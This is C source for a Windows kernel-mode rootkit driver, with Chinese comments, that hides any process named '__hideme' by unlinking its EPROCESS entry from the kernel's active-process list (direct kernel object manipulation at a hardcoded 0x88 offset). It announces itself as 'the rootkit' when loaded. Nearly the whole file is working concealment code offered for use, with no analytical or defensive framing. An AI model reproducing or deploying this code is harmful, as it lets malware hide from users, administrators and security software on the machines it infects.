dkom.c

驱动类 另一种方法 隐藏进程 注意5个驱动编译需要的makefile 和 source 需要写

/*//////////////////////////////////////

修改进程双链表隐藏进程，进程的EPROCESS结构
通过LIST_ENTRY连成双链表 偏移位置 0x88
隐藏进程的名字由宏 HIDEME 指定 
[e-mail]
/*//////////////////////////////////////

#include "ntddk.h"
#include "stdlib.h"
#include "stdio.h"
#include "windef.h"


#define  HIDEME "__hideme" //隐藏进程的名字
#define  FLINKOFFSET 0x88

//extern \"C\"
NTKERNELAPI 
NTSTATUS 
KeI386AllocateGdtSelectors( 
PUSHORT pSelectorArray, 
ULONG NumberOfSelectors 
); 
VOID UnLoad(IN PDRIVER_OBJECT pDriverObject)
{
   DbgPrint("Unload\n");
}

//寻找进程的名字在EPROCESS结构里的偏移
ULONG LocateProcessName()
{
   DWORD CurrentProcess;
   ULONG offset=0;
   CurrentProcess=(DWORD)PsGetCurrentProcess();
   for(;offset<PAGE_SIZE;offset++)
   {
	   if(!strncmp("System",(PCHAR)(CurrentProcess+offset),strlen("system")))
	   {
		   DbgPrint("offset is %d\n",offset);
		   return offset;
	   }
   }
  return 0; 
}

//根据进程名隐藏进程
DWORD HindProcessByName(ULONG nameoffset)
{
  DWORD pCurrentProcess,BeginProcess;
  PLIST_ENTRY list_entry;
  PCHAR ProcessName; 
  BOOL IsFound=0;

  pCurrentProcess=(DWORD)PsGetCurrentProcess();
  BeginProcess=pCurrentProcess;
  list_entry=(PLIST_ENTRY)(pCurrentProcess+FLINKOFFSET);
  list_entry=list_entry->Flink;
  pCurrentProcess=(DWORD)list_entry-FLINKOFFSET;

  ProcessName=(PCHAR)(pCurrentProcess+nameoffset);
  while(1) //遍历双链表
  {
    if(!strncmp(HIDEME,ProcessName,strlen(HIDEME) )) //比较进程
	{
	    IsFound=1;
		break ;
	}
    else if(pCurrentProcess==BeginProcess)
	{
	   break;
	}
    else
	{
	   list_entry=list_entry->Flink;
	   pCurrentProcess=(DWORD)list_entry-FLINKOFFSET;
	   ProcessName=(PCHAR)pCurrentProcess+nameoffset;

	}
  
  }
   if(IsFound) //如果找到修改被删除的进程指针使它们指向自己
   {
   
       *(DWORD*)(list_entry->Blink)=(DWORD)list_entry->Flink;
	   *((DWORD *)list_entry->Flink+1) = (DWORD)list_entry->Blink;
	   list_entry->Flink = (LIST_ENTRY *) &(list_entry->Flink);
       list_entry->Blink = (LIST_ENTRY *) &(list_entry->Flink);
	   return 1;
   }
   else
	   return 0;



}

//未使用
void Cheat()
{


  PUCHAR ptr;
  PUCHAR calladdr;
  ptr=(PUCHAR)NtSetTimer;

 // DbgPrint("0x%02x\n",*(PUCHAR)KiDispatchInterrupt);




}



NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistryPath )
{

	ULONG ul_offset=0;
    DbgPrint("the rootkit has been loaded!\n");
	pDriverObject->DriverUnload  = UnLoad; 
	Cheat();
	ul_offset=LocateProcessName();
    

    if(!ul_offset)
	{
	  DbgPrint("Cant locate processname offset!\n");
	  
	  return STATUS_SUCCESS;
	}
    if(HindProcessByName(ul_offset))
		DbgPrint("Process Hiden!\n");
	else
		DbgPrint("Process Not Found! \n");

	


  return STATUS_SUCCESS;
}